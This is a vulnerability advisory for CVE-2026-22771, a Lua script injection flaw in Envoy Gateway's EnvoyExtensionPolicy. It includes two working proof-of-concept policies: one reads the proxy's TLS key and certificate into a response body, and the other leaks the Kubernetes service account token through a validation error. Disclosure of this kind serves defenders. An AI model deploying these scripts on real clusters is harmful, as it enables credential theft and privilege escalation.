CVE-2026-22771: Envoy Extension Policy lua scripts injection causes arbitrary command execution

Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:

  • An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
  • Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.

Lua scripts executed by Envoy proxy can be used to leak the proxy’s credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.

For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy’s XDS client certificates.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: leak
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local cert = io.open("/certs/tls.crt", "r")
local content
if cert then
content = cert:read("*all")
cert:close()
else
content = "file-not-found"
end
local keyfile = io.open("/certs/tls.key", "r")
local contentkey
if keyfile then
contentkey = keyfile:read("*all")
keyfile:close()
else
contentkey = "file-not-found"
end
local keypair = contentkey .. "\n" .. content
response_handle:body():setBytes(keypair)
response_handle:headers():replace("content-length", tostring(#keypair))
response_handle:headers():replace("content-type", "text/plain")
end

This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: backend
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
local content
if token then
content = token:read("*all")
token:close()
else
content = "file-not-found"
end
io.write(content)
error(content)
end

Results in:

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
[...]
status:
ancestors:
- ancestorRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
namespace: default
conditions:
- lastTransitionTime: "..."
message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
in main chunk\n\t[G]: ?."

Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.

References

Code Behaviors & Features

Detect and mitigate CVE-2026-22771 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →